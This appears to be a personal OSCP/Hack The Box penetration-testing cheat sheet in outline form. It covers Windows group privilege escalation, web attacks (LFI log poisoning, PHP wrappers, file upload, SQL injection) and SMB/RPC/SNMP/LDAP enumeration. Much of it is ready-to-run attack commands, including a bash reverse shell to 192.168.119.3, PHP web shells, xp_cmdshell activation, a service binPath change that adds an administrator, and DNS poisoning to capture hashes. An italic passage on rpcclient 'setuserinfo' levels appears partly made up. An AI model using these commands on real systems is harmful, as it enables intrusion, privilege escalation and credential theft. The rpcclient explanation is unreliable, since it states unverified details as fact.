- `python gMSADumper/gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb -l 10.10.10.248`

[HTB: Intelligence | 0xdf hacks stuff](#)

▼ groups

- `whoami /groups`
- Default Administrators Domain Admins and Enterprise Admins are "super" groups.

▼ Server Operators.

Members can modify services, access SMB shares, and backup files
Additionally, we should have privilege over local services. Find a service run as system and change binary path.

- `sc config <service> binPath= "cmd /c net localgroup Administrators server_adm /add"`

▼ Backup Operators

Members are allowed to log onto DCs locally and should be considered Domain Admins. They can make shadow copies of the SAM/NTDS database, read the registry remotely, and access the file system on the DC via SMB. This group is sometimes added to the local Backup Operators group on non-DCs.

Membership of this group grants its members the SeBackup and SeRestore privileges. The [SeBackupPrivilege](#) allows us to traverse any folder and list the folder contents. This will let us copy a file from a folder, even if there is no access control entry (ACE) for us in the folder's access control list (ACL).

▼ PoC for abuse, can't just use copy

[GitHub - giuliano108/SeBackupPrivilege: ...](#)

- `Import-Module .\SeBackupPrivilegeUtils.dll`
`Import-Module .\SeBackupPrivilegeCmdLets.dll`
- `Set-SeBackupPrivilege`
`Get-SeBackupPrivilege`
- `Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt'`
`.\Contract.txt`
- `robocopy /b C:\Users\Administrator\Desktop\ C:\`

▼ Print Operators

Members can log on to DCs locally and "trick" Windows into loading a malicious driver.

- see notes, we can load drivers like capcom and abuse functionality

▪ Hyper-V Administrators

If there are virtual DCs, any virtualization admins, such as members of Hyper-V Administrators, should be considered Domain Admins.

▪ Account Operators

Members can modify non-protected accounts and groups in the domain.

▪ Remote Desktop Users

Members are not given any useful permissions by default but are often granted additional rights such as Allow Login Through Remote Desktop Services and can move laterally using the RDP protocol.

▪ Remote Management Users

Members can log on to DCs with PSRemoting (This group is sometimes added to the local remote management group on non-DCs).

- Group Policy Creator Owners

Members can create new GPOs but would need to be delegated additional permissions to link GPOs to a container such as a domain or OU.

- Schema Admins

Members can modify the Active Directory schema structure and backdoor any to-be-created Group/GPO by adding a compromised account to the default object ACL.

- ▼ DNS Admins

Members can load a DLL on a DC, but do not have the necessary permissions to restart the DNS server. They can load a malicious DLL and wait for a reboot as a persistence mechanism. Loading a DLL will often result in the service crashing. A more reliable way to exploit this group is to create a WPAD record.

- `dnscmd.exe /config /serverlevelplugindll`

- `C:\Users\netadm\Desktop\adduser.dll`

- DLL plugin needs full path

- `sc.exe sdshow DNS`

- check if we have permission to restart DNS

- ▼ Event logger group

We can query windows logs for commands run trying to find credentials

- ▼ Powershell

- `wevtutil qe Security /rd:true /f:text | Select-String "/user"`

- ▼ named pipe

- ▼ enumeration

- ▼ cmd

- `pipelist.exe /accepteula`

- We can use the tool [PipeList](#) from the Sysinternals Suite to enumerate instances of named pipes

- `accesschk.exe -w \pipe\* -v`

- use accesschk to view permissions on all named pipes

- ▼ powershell

- `gci \\.\pipe\`

- ▼ kernel exploits

- SecWiki/windows-kernel-exploits github has precompiled exploits

- ▼ enumeration

▼ cmd

- wmic qfe
Displays patches
- systeminfo

▼ powershell

- Get-Hotfix

▼ Post Exploit

▼ Mimikatz

- Search for creds even on non domain machine

▼ Winpeas

- Can point out good post exploit info when run as admin

▼ Enumerate all user directories for interesting files

- Get-Childitem -Path C:\Users\ -Include
.txt,.pdf,*.xls,*.xlsx,*.doc,*.docx,*.xml,*.log -File -Recurse -ErrorAction
SilentlyContinue

- Search system for passwd db's

▼ git

if git is present we should enumerate commits for sensitive data

messages like "<BLANK> configuration" or "<BLANK> Authentication" removed may reveal the credentials used if we look at change logs

- git show HEAD
i think this shows some info for the last commit. can reveal info
- git show <commit hash>
Will show difference in commits --> might disclose sensitive info

▼ Enumeration

- Profile photos
- Blog posts with documents

▼ Web Application

▼ Enumeration

- ▼ Direcotry brute forcing

▼ gobuster

```
gobuster <mode> -u <ip or url> -w <wordlist>
```

Flags:

- u: url
- r: follow redirects
- v: verbose
- U: username for auth
- P: Password for auth
- c: cookie for auth
- t: threads

▼ dir: Brute force directories

- Status code 301 is a redirect --> check these out
- dns: discover subdomains
- s3: discover Amazon s3 buckets
- vhost: discover virtual hosts on the server

▼ fuzz: fuzz value or name of a parameter

[🔗 Web Application Attacks - OSCP Notes](#)

API names are usually descriptive about the data it is handling or the function it is doing

with this info we can use the pattern gobuster feature to try and brute force API paths

- `gobuster dir -u http://192.168.50.12:5002 -w /usr/share/wordlists/dirb/big/txt -p pattern`
-p: provides a file with patterns
in this case we can make a simple file
`{GOBUSTER}/v1`
`{GOBUSTER}/v2`
- If API paths are found we can bruteforce any subdirectories under them using dir

▼ Bruteforce files in upload folder

from htb intelligence

- If common naming convention is seen, try to bruteforce unseen files

We can use the following Bash one-liner to download all available PDF files starting from a chosen date (i.e. 2020-01-01). To speed up the process, we use the -P option to run twenty parallel wget processes with xargs .

```
d=2020-01-01; while [ "$d" != `date -l` ]; do echo  
"http://10.10.10.248/Documents/$dupload.pdf"; done | xargs -n 1 -P 20 wget <  
list 2>/dev/null
```

Several files are downloaded. First we inspect the metadata to retrieve any potential user name:

```
exiftool -Creator -csv *.pdf | cut -d, -f2 | sort | uniq > userlist
```

The pdftotext tool (provided by the poppler-utils package on Debian-based systems) can be used to convert the downloaded PDF files to text:

```
for f in *.pdf; do pdftotext $f; done
```

By running the head command we can display the first line of each text file and quickly pick out the ones that contain useful information:

We find two interesting documents:

We display their full contents:

▼ Browse in Proxy

▼ Common sites

- robots.txt
- sitemap.xml

▪ Check Source code

▪ Click links to other pages

▼ Note fields with user input

- Login pages
- Any post request
- Search fields
- profile settings

- places to upload files
- ▼ Service and Application versions
 - Searchsploit
 - github
- ▼ Abuse API
 - ▼ Enumeration
 - gobuster fuzz
 - ▼ exploit
 - Bruteforce user logins
 - ▼ bruteforce sub directories under usernames path
 - `gobuster dir -u http://192.168.50.16:5002/users/v1/admin/ -w /usr/share/wordlists/dirb/small.txt`
 - register admin user
not likely but the app may be misconfigured
- ▼ XSS

[🔗 Web Application Attacks - OSCP Notes](#)

 - ▼ Enumeration
 - ▼ Fields to look for
 - Any field that takes user input and uses it as output on a page
 - Search Bar
 - User data being saved to database
 - ▼ Exploit
 - ▼ Basic identification
 - Test to see which special characters are sanitized.
Use special characters to test whether the input is sanitized
< > ' " { } ; These characters work best to test this
we want to see if these characters get URL encoded (%20) or HTML encoded "<" (where they are referenced as is instead of interpreted)
If we can inject these elements into the page, the browser will treat them as code elements. We can build begin to build code that will execute once the browser loads i
 - ▼ Priv ESC

- notes on how to create admin account on web app via xss. NEEDS USER INTERACTION

▼ Directory Traversal

▼ Enumeration

▼ PHP

- If we identify "?" in a url it indicates a parameter being passed
- ▼ Confirm vuln by traversing to /etc/passwd on linux or C:\Windows\System32\drivers\etc\hosts on Windows
 - Make sure to url encode request

▼ Exploit

▼ Linux

- /etc/passwd
- /etc/shadow
- ▼ SSH Keys
 - SSH keys located under /home/<user>/.ssh

Common keys:

id_dsa
id_ecdsa
id_ecdsa_sk
id_ed25519
id_ed25519_sk
id_rsa

- ssh2john key > hash.txt
then run john

▼ Windows

harder to find sensitive info than linux

- Service config files
 - if we can identify services running we should research where logs and configs are stored

▼ File Inclusion

🔗 [Web Application Attacks - OSCP Notes](#)

▼ Local File Inclusion

▼ Enumeration

▼ PHP

- If we identify "?" in a url it indicates a parameter being passed

▼ Exploit

▼ Log poisoning

we can modify data we send to a web app so that the logs contain executable code

To do this we need to know what info is controlled by us and saved in the apache logs --> we need to either use LFI to display the file or read documentation to understand this

Apache2: `/var/log/apache2/access.log`

Windows running XAMPP: `C:\xampp\apache\logs`

▪ Include log on web page

If we can include the log file we can what information is getting logged --> we know what information to change to try and call a reverse shell

▼ Modify parts of the web request that get logged

In the notes example we used a simple php back door

- `<?php echo system($_GET['cmd']); ?>`
- To get php to run a bash shell we need to execute the following command
`bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"`

▼ PHP wrappers

▼ Enumeration

▼ php://filter

displays the contents of a file with or without encoding --> we can use this to display the contents of executable files instead of running them

When examining Mountain Desserts website we notice that the close body tag is missing from what we can see in the browser

- `curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php`

This will get us the code, but in base 64. we need to use the command ``echo <string> | base64 -d`` to decode

▼ Exploit

▼ data://

used to embed data elements as plaintext or base64 data in running web app code --> this can allow us to execute code when we cannot poison a local file with php

- ▼ data:// will not work with the default php installation --> we need allow_url_include setting to be enabled
 - `echo -n '<?php echo system($_GET["cmd"]);?>' | base64`
`curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNoYmZlXN0ZW0oJF9HRVRblmNtZCJdKTs/Pg==&cmd=ls"`

▼ File Upload

▼ Exploit

▼ Basic

- Upload unintended file types
- ▼ Are any file types blocked?
 - Use Burp intruder to try different files

▼ Filter evasion

- use lesser known types
- .htaccess

we can try to upload a .htaccess file to map unknown file extensions to blacklisted ones. This allows us to upload a file with the unknown extension and execute it as a blacklisted one

▪ Upload a reachable shell

If we can upload files to arbitrary parts of the system, we can upload files that are hosted by the website

▼ Overwrite system files

- ssh keys
 - Create a new key pair using `ssh-keygen`
 - copy public key to "authorized_keys"
 - try to upload and overwrite file
 - attempt to ssh in using the newly generated key

▼ Command Injection

- Enumeration
- Exploit

🔗 <https://github.com/payloadbox/command-injection-payloads>

▼ Vulnerable Services

- ▼ Enumeration

- Check version of all services running
- Try default creds on login
- ▼ Exploit
 - varies by service
- ▼ SQL Injection
 - ▼ enumeration
 - ▼ MySQL
 - version()
 - select system_user()
 - show databases
 - SHOW TABLES from <database>
 - ▼ MSSQL
 - @@version
 - SELECT name, database_id, create_date FROM sys.databases;
Show all databases
 - SELECT table_name FROM <target db>.information_schema.tables
list all tables in target db
 - Postgress SQL
 - Oracle SQL
 - ▼ Exploit
 - ▼ Login
 - authentication bypass
 - ▼ RCE
 - ▼ xp_cmdshell
 - EXECUTE sp_configure 'show advanced options', 1;
 - RECONFIGURE;
 - EXECUTE sp_configure 'xp_cmdshell', 1;
 - RECONFIGURE;
 - EXECUTE xp_cmdshell 'whoami'
 - mssql
 - Union
 - Blind

▼ xp_cmdshell

▼ RCE

```
EXECUTE sp_configure 'show advanced options', 1;  
RECONFIGURE;  
EXECUTE sp_configure 'xp_cmdshell', 1;  
RECONFIGURE;  
EXECUTE xp_cmdshell 'whoami'
```

- `';Execute sp_configure "show advanced options",1;--
';<command>;--`

▼ Force Authentication

try this if RCE is not allowed:

Start Responder on kali.

try to get file form share on kali

If we get a hash, we can try to crack it or create a silver ticket

- `EXEC xp_dirtree '\\<kali ip>\share', 1, 1`

▼ mysql

▼ Write out to php webshell

- `select "<?php echo shell_exec($_GET['cmd']);?>" into outfile
'<FILENAME>'`
Be sure to put somewhere accessible

▼ PHP Wrappers

<https://www.php.net/manual/en/wrappers.php>

Php wrappers can provide extra functionality in web browsers including inspecting source code, unzipping files, etc.

▼ Inspect source code

- `php://filter`
may need to use

`/convert.base64-encode/` to display code. can decode in Kali

▼ unzip file

- `zip://path/to/file`
`zip://uploads/upload_1627661999.zip%23exploit&cmd=whoami`

▼ Services Enabled

▼ General Detection

▼ Kali

▼ Nmap

[🔗 Information Gathering - OSCP Notes](#)

-p: ports to scan --> can be number, range or list

-sS: syn stealth scan --> default when nothing is specified and the user has raw socket privileges

usually faster because it needs to send less data and doesn't complete the handshake

-sT connect scan --> default when user doesn't have raw socket privileges

Takes longer because nmap has to wait for connection to complete

Might be useful to perform when scanning through certain types of proxies

-sU UDP scan --> will use the "ICMP port unreachable" method for most ports. Will send specific protocol packets for common ports. If firewalls drop packets no "ICMP unreachable" packet will be passed back and ports might falsely be reported as open

-sn Host discovery --> will use more than just icmp to get data. will also send tcp syn packets to port 80 and 443 to verify if host is available

-oG greppable output -->

-A: Aggressive OS and service enumeration

-sV: plain service scan --> subset of A

--top-ports=20 --> can specify how many of the top ports we want to scan using scripts

-O: OS fingerprinting --> attempts to guess the targets OS

--osscan-guess: option will force nmap to guess on OS type for O scan

▼ Scripts

- --script-help displays more info on scripts

- EX: nmap--script=http-enum 192.168.225.0/24

- Subtopic 3

▼ nbtscan

queries information about the NetBIOS configuration

-r specifies UDP port 137

- sudo nbtscan -r 192.168.50.0/24

▼ windows

▼ Powershell

- 1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.50.151", \$_)) "TCP port \$_ is open"}
2>\$null

- Test-NetConnectio

▼ SMB

▼ enumeration

▼ anonymous access

- `smbmap --host-file targets.txt -u anonymous -p anonymous`
checks all hosts in targets.txt for anonymous smb share

▼ null access

- `smbclient -U "" -N //192.168.185.240/`

▼ nmap scripts

- `nmap -sV -p 139,445 --script=smb-vuln* 192.168.224.40 -Pn`

▪ Spider directories

▪ nbtscan

▼ exploit

- get all files in share

mask ""

recurse ON

prompt OFF

mget *

run in kali to see all files

`find . -type f`

▼ ftp

▼ enumeration

- anonymous access

▼ bruteforce logins

- hydra

▼ exploit

- can we upload malicious files in the ftp share?

▼ rpc

▼ rpcclient

- `rpcclient -U "" -N 10.10.10.161`

connect with null auth

- enumdomusers
enumerate domain users from an active session
- queryuser
- enumlsgroups
- builtin
- enumdomgroups
- ▼ setuserinfo

- **setuserinfo christopher.lewis 23 'Admin!23'**

*In the **rpcclient** tool, the **setuserinfo** function is used to modify user account information on a remote Windows system. The **level** parameter in this context refers to the level of information detail that you want to modify or retrieve when working with user account data.*

Commonly used levels for user account information include:

***Level 0:** Basic information, such as username and full name.*

***Level 1:** Additional information, including home directory, script path, and profile path.*

***Level 2:** Further information, like password age, privileges, and logon script.*

***Level 3:** Detailed information, including all the above and group memberships.*

***Level 4:** Even more detailed information, including all the above and security identifier (SID).*

*To set a user's password using the **rpcclient** tool, you would typically use **setuserinfo2** function with a level of 23. The **level** parameter corresponds to the level of user information that you're modifying, and for changing passwords, the relevant level is 23. Level 23 includes all the attributes from level 1 (which provides basic user information) and adds the ability to modify the user's password.*

*The **setuserinfo** function in **rpcclient** is typically used to modify user account information, but it might not directly support changing passwords. To change a user's password using **rpcclient**, the **setuserinfo2** function with level 23 is the recommended approach.*

*The **setuserinfo2** function with level 23 allows you to modify password-related information, including changing the user's password. Level 23 includes all the attributes from level 1 and provides the additional functionality to manage passwords.*

*While some versions of **rpcclient** might support changing passwords using **setuserinfo** with certain parameters, it's safer and more consistent to use **setuserinfo2** with level 23 for password changes.*

- **chgpaswd**
- **impacket-rpcdump**

▼ enum4linux

enum4linux works on both windows and linux

- enum4linux -a 192.168.154.175

▼ SNMP

default community string: public

▼ enumeration

[🔗 Information Gathering - OSCP Notes](#)

▼ onesixtyone

- onesixtyone -c community -i ips

▼ snmpwalk

Other useful MIBs for Microsoft:

1.3.6.1.2.1.25.1.6.0 System Processes

1.3.6.1.2.1.25.4.2.1.2 Running Programs

1.3.6.1.2.1.25.4.2.1.4 Processes Path

1.3.6.1.2.1.25.2.3.1.4 Storage Units

1.3.6.1.2.1.25.6.3.1.2 Software Name

1.3.6.1.4.1.77.1.2.25 User Accounts

1.3.6.1.2.1.6.13.1.3 TCP Local Ports

- snmpwalk -c public -v1 192.168.50.151 1.3.6.1.4.1.77.1.2.25
- snmpwalk -v2c -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects
query extended MIB Objects

▼ Web Server

- check server version

▼ RDP

- CRACKMAPEXEC WILL NOT RETURN PROPER RESULTS

▼ ANything Buffer Overflow

- Revert after every attempt

▼ zmtip aka "saltstack"

ports 4505/6

- Searchsploit module for RCE

▼ LDAP

▼ ldapsearch

From the results we can grep for "samaccountname" to get usernames and "description" for various details that might be helpful

- `ldapsearch -x -H LDAP://192.168.211.122 -b "dc=hutch,dc=offsec"`
- ▼ nmap scripts
 - `nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials`
- ▼ Need foothold or to modify for user/pass
 - `$PDC =
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRole
Owner.Name
$DN = ([adsis]").distinguishedName
$LDAP = "LDAP://$PDC/$DN"
$LDAP`
- ▼ Course Material Scripts

Script provided by course Material can help find DN for LDAP enumeration

 - ▼ Spray Passwords
 - `spray-password.ps1`
- ▼ dnstool.py

part of krbrelayx. Add/modify/delete AD integrated DNS records via LDAP

- `python3 dnstool.py -u intelligence\\Tiffany.Molina -p NewIntelligenceCorpUser9876 --action add --record web-0xdf --data 10.10.14.19 --type A intelligence.htb`

🔗 [HTB: Intelligence | 0xdf hacks stuff](#)

The script goes into LDAP and gets a list of all the computers, and then loops over the ones where the name starts with "web". It will try to issue a web request to that server (with the running users's credentials), and if the status code isn't 200, it will email Ted.Graves and let them know that the host is down. The comment at the top says it is scheduled to run every five minutes.

It's worth a shot to see if Tiffany.Molina has permissions to make this kind of change by running with the following options:

- `-u intelligence\\Tiffany.Molina` - The user to authenticate as;
- `-p NewIntelligenceCorpUser9876` - The user's password;
- `--action add` - Adding a new record;
- `--record web-0xdf` - The domain to add;
- `--data 10.01.14.19` - The data to add, in this case, the IP to resolve web-0xdf to;
- `--type A` - The type of record to add.

Given that I know it's using credentials, I'll switch to [Responder](#) to try to capture a Net-NTLMv2 hash. Responder runs with `sudo responder -l tun0`, and starts various servers, including HTTP.

▼ exiftool

- use exiftool against any recovered documents to look for usernames / sensitive info

▼ smtp

- can enumerate to verify usernames
- [python script in notes](#)
- client side attacks with valid network creds (AD)
- nmap scripts

▼ Useful commands

▼ exfiltration

▼ Upload server

- Subtopic 1

▼ Windows

- ▼ read .log files

- get-content file.log | findstr /i 'NTLM:'